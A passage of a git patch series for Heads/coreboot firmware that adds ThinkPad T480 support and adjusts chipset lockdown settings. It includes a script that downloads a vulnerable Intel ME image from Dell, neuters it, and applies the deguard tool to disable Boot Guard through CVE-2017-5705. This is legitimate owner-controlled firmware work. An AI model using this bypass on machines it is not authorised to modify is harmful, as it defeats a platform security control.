b/src/soc/intel/elkhartlake/finalize.c +index 275413b4ef..fc54710303 100644 +--- a/src/soc/intel/elkhartlake/finalize.c ++++ b/src/soc/intel/elkhartlake/finalize.c +@@ -43,7 +43,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && + CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) + heci_finalize(); +diff --git a/src/soc/intel/jasperlake/finalize.c b/src/soc/intel/jasperlake/finalize.c +index 8788db155d..4840c0c04c 100644 +--- a/src/soc/intel/jasperlake/finalize.c ++++ b/src/soc/intel/jasperlake/finalize.c +@@ -76,7 +76,8 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + /* Indicate finalize step with post code */ + post_code(POSTCODE_OS_BOOT); +diff --git a/src/soc/intel/meteorlake/finalize.c b/src/soc/intel/meteorlake/finalize.c +index 1fd1d98fb5..80802db285 100644 +--- a/src/soc/intel/meteorlake/finalize.c ++++ b/src/soc/intel/meteorlake/finalize.c +@@ -64,7 +64,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + sa_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && +diff --git a/src/soc/intel/pantherlake/finalize.c b/src/soc/intel/pantherlake/finalize.c +index 05ec3eaaca..1d47dd7a0b 100644 +--- a/src/soc/intel/pantherlake/finalize.c ++++ b/src/soc/intel/pantherlake/finalize.c +@@ -63,7 +63,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + sa_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && +diff --git a/src/soc/intel/skylake/finalize.c b/src/soc/intel/skylake/finalize.c +index fd80aeac1a..a147b62e46 100644 +--- a/src/soc/intel/skylake/finalize.c ++++ b/src/soc/intel/skylake/finalize.c +@@ -106,7 +106,8 @@ static void soc_finalize(void *unused) + pch_finalize_script(dev); + + soc_lockdown(dev); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + /* Indicate finalize step with post code */ + post_code(POSTCODE_OS_BOOT); +diff --git a/src/soc/intel/tigerlake/finalize.c b/src/soc/intel/tigerlake/finalize.c +index cd02745a9e..158b2fb691 100644 +--- a/src/soc/intel/tigerlake/finalize.c ++++ b/src/soc/intel/tigerlake/finalize.c +@@ -55,7 +55,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) + heci1_disable(); +diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c +index a7b3602744..f0cd8a1998 100644 +--- a/src/soc/intel/xeon_sp/finalize.c ++++ b/src/soc/intel/xeon_sp/finalize.c +@@ -59,7 +59,8 @@ static void soc_finalize(void *unused) + if (!CONFIG(USE_PM_ACPI_TIMER)) + setbits8(pmc_mmio_regs() + PCH_PWRM_ACPI_TMR_CTL, ACPI_TIM_DIS); + +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + if (CONFIG_MAX_SOCKET > 1) { + /* This MSR is package scope but run for all cpus for code simplicity */ +diff --git a/src/soc/intel/xeon_sp/lockdown.c b/src/soc/intel/xeon_sp/lockdown.c +index a3d17b46c3..51a5cf5431 100644 +--- a/src/soc/intel/xeon_sp/lockdown.c ++++ b/src/soc/intel/xeon_sp/lockdown.c +@@ -6,25 +6,15 @@ + #include + #include + +-static void lpc_lockdown_config(void) +-{ +- /* Set BIOS Interface Lock, BIOS Lock */ +- lpc_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- lpc_set_eiss(); +- lpc_enable_wp(); +- } +- lpc_set_lock_enable(); +-} +- + void soc_lockdown_config(int chipset_lockdown) + { + if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) + return; + +- lpc_lockdown_config(); ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(chipset_lockdown); ++ + pmc_lockdown_config(); + sata_lockdown_config(chipset_lockdown); + spi_lockdown_config(chipset_lockdown); +-- +2.39.5 + From 32fc31bc6ee699785942b36062d92d9443ec9bc8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 14:04:01 -0500 Subject: [PATCH 20/50] patches/coreboot-t480/85278-post-skylake-pr0.patch: remove xeon bits we are not interested into which are conflicting against coreboot upstream commit 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a Signed-off-by: Thierry Laurion --- .../85278-post-skylake-pr0.patch | 48 ------------------- 1 file changed, 48 deletions(-) diff --git a/patches/coreboot-t480/85278-post-skylake-pr0.patch b/patches/coreboot-t480/85278-post-skylake-pr0.patch index c8e4cd251..0f63b133c 100644 --- a/patches/coreboot-t480/85278-post-skylake-pr0.patch +++ b/patches/coreboot-t480/85278-post-skylake-pr0.patch @@ -424,54 +424,6 @@ index cd02745a9e..158b2fb691 100644 tbt_finalize(); if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) heci1_disable(); -diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c -index a7b3602744..f0cd8a1998 100644 ---- a/src/soc/intel/xeon_sp/finalize.c -+++ b/src/soc/intel/xeon_sp/finalize.c -@@ -59,7 +59,8 @@ static void soc_finalize(void *unused) - if (!CONFIG(USE_PM_ACPI_TIMER)) - setbits8(pmc_mmio_regs() + PCH_PWRM_ACPI_TMR_CTL, ACPI_TIM_DIS); - -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - - if (CONFIG_MAX_SOCKET > 1) { - /* This MSR is package scope but run for all cpus for code simplicity */ -diff --git a/src/soc/intel/xeon_sp/lockdown.c b/src/soc/intel/xeon_sp/lockdown.c -index a3d17b46c3..51a5cf5431 100644 ---- a/src/soc/intel/xeon_sp/lockdown.c -+++ b/src/soc/intel/xeon_sp/lockdown.c -@@ -6,25 +6,15 @@ - #include - #include - --static void lpc_lockdown_config(void) --{ -- /* Set BIOS Interface Lock, BIOS Lock */ -- lpc_set_bios_interface_lock_down(); -- -- /* Only allow writes in SMM */ -- if (CONFIG(BOOTMEDIA_SMM_BWP)) { -- lpc_set_eiss(); -- lpc_enable_wp(); -- } -- lpc_set_lock_enable(); --} -- - void soc_lockdown_config(int chipset_lockdown) - { - if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) - return; - -- lpc_lockdown_config(); -+ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) -+ /* LPC/eSPI lock down configuration */ -+ lpc_lockdown_config(chipset_lockdown); -+ - pmc_lockdown_config(); - sata_lockdown_config(chipset_lockdown); - spi_lockdown_config(chipset_lockdown); -- 2.39.5 From e62b84b4c04ce2e9da5735b03e5b3231289d152e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 14:09:57 -0500 Subject: [PATCH 21/50] config/coreboot-t480.config: add PR0, unify against nv41, save in oldconfig Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 0ad6af739..396b4a428 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -240,7 +240,7 @@ CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" CONFIG_EC_STARLABS_BATTERY_TYPE="LION" CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="" +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set @@ -432,6 +432,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y @@ -489,8 +490,10 @@ CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 CONFIG_RCBA_LENGTH=0x4000 @@ -626,6 +629,7 @@ CONFIG_MRC_SETTINGS_PROTECT=y CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -732,9 +736,11 @@ CONFIG_PLATFORM_HAS_DRAM_CLEAR=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security @@ -867,7 +873,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set # CONFIG_DISPLAY_FSP_HEADER is not set # CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y # CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set From 002d107ec93acda72c9e2747376324c40f62093b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 17:07:09 -0500 Subject: [PATCH 22/50] config/coreboot-t480.config: unset CONFIG_DISPLAY_FSP_VERSION_INFO otherwise build error Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 396b4a428..715257deb 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -873,7 +873,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set # CONFIG_DISPLAY_FSP_HEADER is not set # CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y # CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set From e8974daebba6e16a773b97242670e94607e6635d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 17:17:26 -0500 Subject: [PATCH 23/50] boards/t480-maximized/t480-maximized.config: enable pr0 (impacts only after kexec call to final OS. Otherwise, problem with coreboot config) Signed-off-by: Thierry Laurion --- boards/t480-maximized/t480-maximized.config | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 9b48ef87f..ba349d35f 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -22,8 +22,8 @@ CONFIG_TPMTOTP=y #platform locking finalization (PR0) # Disable for first try, enable when rest works -#CONFIG_IO386=y -#export CONFIG_FINALIZE_PLATFORM_LOCKING=y +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y # Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead From f75ddb81c32957c0d0f6dfd9a72361e6914d4f59 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Tue, 14 Jan 2025 13:20:05 +0100 Subject: [PATCH 24/50] add t480 board Signed-off-by: gaspar-ilom --- .circleci/config.yml | 15 + BOARD_TESTERS.md | 5 + blobs/kabylake/.gitignore | 3 + blobs/kabylake/fetch_split_fsp.sh | 59 + blobs/xx80/.gitignore | 1 + blobs/xx80/README | 30 + blobs/xx80/download_clean_deguard_me.sh | 131 + blobs/xx80/gbe.bin | Bin 0 -> 8192 bytes blobs/xx80/hashes.txt | 5 + blobs/xx80/ifd.bin | Bin 0 -> 4096 bytes .../t480-hotp-maximized.config | 70 + boards/t480-maximized/t480-maximized.config | 69 + config/coreboot-t480-maximized.config | 907 +++++++ config/coreboot-t480.config | 868 +++++++ ...zalia_device.h-Correct-location2-shi.patch | 49 + ...erge-enums-from-azalia_device.h-and-.patch | 552 ++++ ...zalia_device.h-Merge-location1-and-l.patch | 194 ++ ...parate-codec-checking-and-initializa.patch | 173 ++ .../0009-azalia-Get-rid-of-return-1-0.patch | 301 +++ ...e-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 30 + ...Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 2237 +++++++++++++++++ targets/xx80_me_blobs.mk | 27 + 22 files changed, 5726 insertions(+) create mode 100644 blobs/kabylake/.gitignore create mode 100755 blobs/kabylake/fetch_split_fsp.sh create mode 100644 blobs/xx80/.gitignore create mode 100644 blobs/xx80/README create mode 100755 blobs/xx80/download_clean_deguard_me.sh create mode 100644 blobs/xx80/gbe.bin create mode 100644 blobs/xx80/hashes.txt create mode 100644 blobs/xx80/ifd.bin create mode 100644 boards/t480-hotp-maximized/t480-hotp-maximized.config create mode 100644 boards/t480-maximized/t480-maximized.config create mode 100644 config/coreboot-t480-maximized.config create mode 100644 config/coreboot-t480.config create mode 100644 patches/coreboot-24.02.01/0005-include-device-azalia_device.h-Correct-location2-shi.patch create mode 100644 patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch create mode 100644 patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch create mode 100644 patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch create mode 100644 patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch create mode 100644 patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch create mode 100644 patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch create mode 100644 targets/xx80_me_blobs.mk diff --git a/.circleci/config.yml b/.circleci/config.yml index 6ff83e202..026719f8c 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -424,6 +424,20 @@ workflows: requires: - x230-hotp-maximized + - build: + name: t480-maximized + target: t480-maximized + subcommand: "" + requires: + - x230-hotp-maximized + + - build: + name: t480-hotp-maximized + target: t480-hotp-maximized + subcommand: "" + requires: + - x230-hotp-maximized + - build: name: UNTESTED_w541-maximized target: UNTESTED_w541-maximized @@ -556,3 +570,4 @@ workflows: subcommand: "" requires: - librem_l1um + diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index 622fc3ded..e34c3b630 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -32,6 +32,11 @@ xx4x(Haswell): - [ ] t440p: @fhvyhjriur @ThePlexus @srgrint @akunterkontrolle @rbreslow - [ ] w541 (similar to t440p): @ResendeGHF @gaspar-ilom (Always tested late: Needs more responsive board testers or risk to become unmaintained.) +xx8x(Kaby Lake Refresh): +=== +- [ ] t480: @gaspar-ilom +- [ ] t480s (similar to t480): TODO: NOT SUPPORTED OR TESTED YET + Librems: === - [ ] Librem 11(JasperLake): @JonathonHall-Purism diff --git a/blobs/kabylake/.gitignore b/blobs/kabylake/.gitignore new file mode 100644 index 000000000..143d29a2b --- /dev/null +++ b/blobs/kabylake/.gitignore @@ -0,0 +1,3 @@ +Fsp_M.fd +Fsp_S.fd +Fsp_T.fd \ No newline at end of file diff --git a/blobs/kabylake/fetch_split_fsp.sh b/blobs/kabylake/fetch_split_fsp.sh new file mode 100755 index 000000000..4cd362e9a --- /dev/null +++ b/blobs/kabylake/fetch_split_fsp.sh @@ -0,0 +1,59 @@ +#!/usr/bin/env bash + +function usage() { + echo -n \ + "Usage: $(basename "$0") path_to_output_directory +Get FSP from coreboot git submodule and split. +" +} + +# Integrity checks for the coreboot provided fsp blob... +FSP_FD_COREBOOT_HASH="ddfbc51430699e0dfcb24a60bcb5b6e5481b325ebecf1ac177e069013189e4b0" +FSP_SUBMODULE_PATH="3rdparty/fsp" +PATH_TO_FSP_FD_IN_SUBMODULE="KabylakeFspBinPkg/Fsp.fd" +SPLIT_FSP_PATH_IN_SUBMODULE="Tools/SplitFspBin.py" + + +split_fsp() +{ + fsp_binary="$1" + fsp_output_dir="$2" + split_fsp_py="${COREBOOT_DIR}/${FSP_SUBMODULE_PATH}/${SPLIT_FSP_PATH_IN_SUBMODULE}" + python "$split_fsp_py" split -f "$fsp_binary" -o "$fsp_output_dir" -n "Fsp.fd" || exit 1 +} + +if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then + if [[ "${1:-}" == "--help" ]]; then + usage + else + output_dir="$(realpath "${1:-./}")" + fsp_m_path="${output_dir}/Fsp_M.fd" + fsp_s_path="${output_dir}/Fsp_S.fd" + #chk_exists + + if [[ -z "${COREBOOT_DIR}" ]]; then + echo "ERROR: No COREBOOT_DIR variable defined." + exit 1 + fi + + # TODO chk_exists above + # if [[ ! -f "$fsp_s_path" ]] || [[ ! -f "$fsp_m_path" ]] || [ "$retry" = "y" ]; then + git -C "$COREBOOT_DIR" submodule update --init --checkout "$FSP_SUBMODULE_PATH" + fsp_fd="${COREBOOT_DIR}/${FSP_SUBMODULE_PATH}/${PATH_TO_FSP_FD_IN_SUBMODULE}" + chk_sha256sum "$FSP_FD_COREBOOT_HASH" "$fsp_fd" + pushd "$(mktemp -d)" || exit + fsp_file="Fsp.fd" + cp "$fsp_fd" "$fsp_file" + + split_fsp "$(pwd)/${fsp_file}" "$output_dir" + + rm -rf ./* + popd || exit + git -C "$COREBOOT_DIR" submodule deinit "$FSP_SUBMODULE_PATH" + # fi + + # TODO final checksums + # chk_sha256sum "$FSP_FD_COREBOOT_HASH" "$fsp_s_path" + # chk_sha256sum "$FSP_FD_COREBOOT_HASH" "$fsp_m_path" + fi +fi \ No newline at end of file diff --git a/blobs/xx80/.gitignore b/blobs/xx80/.gitignore new file mode 100644 index 000000000..24d49395b --- /dev/null +++ b/blobs/xx80/.gitignore @@ -0,0 +1 @@ +me.bin diff --git a/blobs/xx80/README b/blobs/xx80/README new file mode 100644 index 000000000..082926c1e --- /dev/null +++ b/blobs/xx80/README @@ -0,0 +1,30 @@ +The ME blobs dumped in this directory come from the following link: https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe + +This provides ME version 11.6.0.1126. In this version CVE-2017-5705 has not yet been fixed. +See https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html +Therefore, Bootguard can be disabled by deguard with a patched ME. + +1.0.0:Automatically extract, neuter and deguard me.bin +download_clean_me.sh : Downloads vulnerable ME from Dell verify checksum, extract ME, neuters ME, relocate and trim it, then apply deguard patch and place it into me.bin + +sha256sum: +1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin + +1.0.1: Extract blobs from original rom: +extract.sh: takes backup, unlocks ifd, apply me_cleaner to neuter, relocate, trim and deguard it, modify BIOS and ME region of IFD and place output files into this dir. + +sha256sum: will vary depending of IFD and ME extracted where IFD regions of BIOS and ME should be consistent. + +1.1: More blobs +-------------------- +ifd.bin was extracted from a T480 from an external flashrom backup. + +sha256sum: +f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin + +sha256sum: +6b7f3912995fb87ae62956e009470b35b72b5b9a4bfd7bed48da429af9804866 gbe.bin +------------------------ + +Notes: as specified in first link, this ME can be deployed to: + T480 and T480s \ No newline at end of file diff --git a/blobs/xx80/download_clean_deguard_me.sh b/blobs/xx80/download_clean_deguard_me.sh new file mode 100755 index 000000000..6bed90435 --- /dev/null +++ b/blobs/xx80/download_clean_deguard_me.sh @@ -0,0 +1,131 @@ +#!/usr/bin/env bash + +# These variables are all for the deguard tool. +# They would need to be changed if using the tool for other devices like the T480s or with a different ME version... +ME_delta="thinkpad_t480" +ME_version="11.6.0.1126" +ME_sku="2M" +ME_pch="LP" + +# Integrity checks for the vendor provided ME blob... +ME_DOWNLOAD_HASH="ddfbc51430699e0dfcb24a60bcb5b6e5481b325ebecf1ac177e069013189e4b0" +# ...and the cleaned and deguarded version from that blob. +DEGUARDED_ME_BIN_HASH="1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b" + +function usage() { + echo -n \ + "Usage: $(basename "$0") path_to_output_directory +Download Intel ME firmware from Dell, neutralize and shrink keeping the MFS. +" +} + +function chk_sha256sum() { + sha256_hash="$1"; filename="$2" + echo "$sha256_hash" "$filename" "$(pwd)" + sha256sum "$filename" + if ! echo "${sha256_hash} ${filename}" | sha256sum --check; then + echo "ERROR: SHA256 checksum for ${filename} doesn't match." + exit 1 + fi +} + +function chk_exists() { + if [ -e "$me_deguarded" ]; then + echo "me.bin already exists" + if echo "${DEGUARDED_ME_BIN_HASH} $me_deguarded" | sha256sum --check; then + echo "SKIPPING: SHA256 checksum for me.bin matches." + exit 0 + fi + retry="y" + echo "me.bin exists but checksum doesn't match. Continuing..." + fi +} + +function download_and_clean() { + me_output="$(realpath "${1}")" + + # Download and unpack the Dell installer into a temporary directory and + # extract the deguardable Intel ME blob. + pushd "$(mktemp -d)" || exit + + # Download the installer that contains the ME blob + me_installer_filename="Inspiron_5468_1.3.0.exe" + user_agent="Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" + curl -A "$user_agent" -s -O "https://dl.dell.com/FOLDER04573471M/1/${me_installer_filename}" + chk_sha256sum "$ME_DOWNLOAD_HASH" "$me_installer_filename" + + # Download the tool to unpack Dell's installer and unpack the ME blob. + git clone https://github.com/platomav/BIOSUtilities + git -C BIOSUtilities checkout ef50b75ae115ae8162fa8b0a7b8c42b1d2db894b + + python "BIOSUtilities/Dell_PFS_Extract.py" "${me_installer_filename}" -e || exit + + extracted_me_filename="1 Inspiron_5468_1.3.0 -- 3 Intel Management Engine (Non-VPro) Update v${ME_version}.bin" + + mv "${me_installer_filename}_extracted/Firmware/${extracted_me_filename}" "${COREBOOT_DIR}/util/me_cleaner" + rm -rf ./* + popd || exit + + # Neutralize and shrink Intel ME. Note that this doesn't include + # --soft-disable to set the "ME Disable" or "ME Disable B" (e.g., + # High Assurance Program) bits, as they are defined within the Flash + # Descriptor. + # However, the HAP bit must be enabled to make the deguarded ME work. We only clean the ME in this function. + # https://github.com/corna/me_cleaner/wiki/External-flashing#neutralize-and-shrink-intel-me-useful-only-for-coreboot + pushd "${COREBOOT_DIR}/util/me_cleaner" || exit + + # MFS is needed for deguard so we whitelist it here and also do not relocate the FTPR partition + python me_cleaner.py --whitelist MFS -t -O "$me_output" "$extracted_me_filename" + rm -f "$extracted_me_filename" + popd || exit +} + +function deguard() { + me_input="$(realpath "${1}")" + me_output="$(realpath "${2}")" + + # Download the deguard tool into a temporary directory and apply the patch to the cleaned ME blob. + pushd "$(mktemp -d)" || exit + git clone https://review.coreboot.org/deguard.git + pushd deguard || exit + git checkout 0ed3e4ff824fc42f71ee22907d0594ded38ba7b2 + + python ./finalimage.py \ + --delta "data/delta/$ME_delta" \ + --version "$ME_version" \ + --pch "$ME_pch" \ + --sku "$ME_sku" \ + --fake-fpfs data/fpfs/zero \ + --input "$me_input" \ + --output "$me_output" + + popd || exit + #Cleanup + rm -rf ./* + popd || exit +} + +if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then + if [[ "${1:-}" == "--help" ]]; then + usage + else + + output_dir="$(realpath "${1:-./}")" + me_cleaned="${output_dir}/me_cleaned.bin" + me_deguarded="${output_dir}/me.bin" + chk_exists + + if [[ -z "${COREBOOT_DIR}" ]]; then + echo "ERROR: No COREBOOT_DIR variable defined." + exit 1 + fi + + if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then + download_and_clean "$me_cleaned" + deguard "$me_cleaned" "$me_deguarded" + rm -f "$me_cleaned" + fi + + chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" + fi +fi diff --git a/blobs/xx80/gbe.bin b/blobs/xx80/gbe.bin new file mode 100644 index 0000000000000000000000000000000000000000..dfb2300d7734e85cb289ae431b3237604a0ce73d GIT binary patch literal 8192 zcmb2DX|I0V&B*cpzX-#528IR(f&c#x3&bj|62C6W00RxI%XJJG1b|$gBrPT`XAWV; z>!NFST^GFpCP6Hq)&>T@HV%*$b_NCo1rUP|h#46iG=$h4{$l_JrvLw~LqW{~9pp%rRu}*=E4N3gjb99%YS&z-S0$2DdOXVrIZm5ws9swnY;Fa`*6Hij9hl zh5)G{Fj@+YhQMeDjE2By2#kinXb6m~5b!fH334?s4)^i(ar6T=9O&(PsnPyFy@Pzz zzR?gEG$AnB|0k}uHroFuE}TYHksbnrrZ5`~LtM CN`F28 literal 0 HcmV?d00001 diff --git a/blobs/xx80/hashes.txt b/blobs/xx80/hashes.txt new file mode 100644 index 000000000..bc3da7b1c --- /dev/null +++ b/blobs/xx80/hashes.txt @@ -0,0 +1,5 @@ +8e48eb06740a0c250eea0d17a8610106cbd76a50e3bee3485642fd46a8204f02 Fsp_M.fd +c2f4ee42ba15b315ad3b282375af9151ce3f9e7d81ea3537ffc404e7e20f1f9a Fsp_S.fd +6b7f3912995fb87ae62956e009470b35b72b5b9a4bfd7bed48da429af9804866 gbe.bin +f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin +1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin \ No newline at end of file diff --git a/blobs/xx80/ifd.bin b/blobs/xx80/ifd.bin new file mode 100644 index 0000000000000000000000000000000000000000..cdeaee4a484065cb6ab65e22c9d28d63117a1ddc GIT binary patch literal 4096 zcmeH~u}T9$5QhJ~&0!M6oW#Hhf-9KDDk|27z>&sA@EWmD@Bz|TSS6Lcl}})4En14; zWB3S35wST~|G7JYM>J)SxO4n7+|2IG?swH$TeQ>rQB9+SvKMq(dKbm2wI4X!+v=P@ zJU+d?Ne#3$Wx1!W6g=2Iev$3}^vHmTq*>lmde6gvV?fE^@5aPbPBV9RR4inRdQ55$ zxXfELc0dw9nKD$HI-meQ^(*wU^P~ajJST-KmTyN@`cwj6{u-Y-pk=XtRI3o}5b-e47h z&~fGnI0BA +Date: Fri, 23 Feb 2024 10:28:08 +0900 +Subject: [PATCH 05/11] include/device/azalia_device.h: Correct location2 shift + to 28 bits +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The location is specified to be in range of 29:24, which is further +divided into upper bits (location2) [5:4] and lower bits (location1) +[3:0]. + +This also corrects the resulting values of clevo/l140mu. + +References: + - Intel 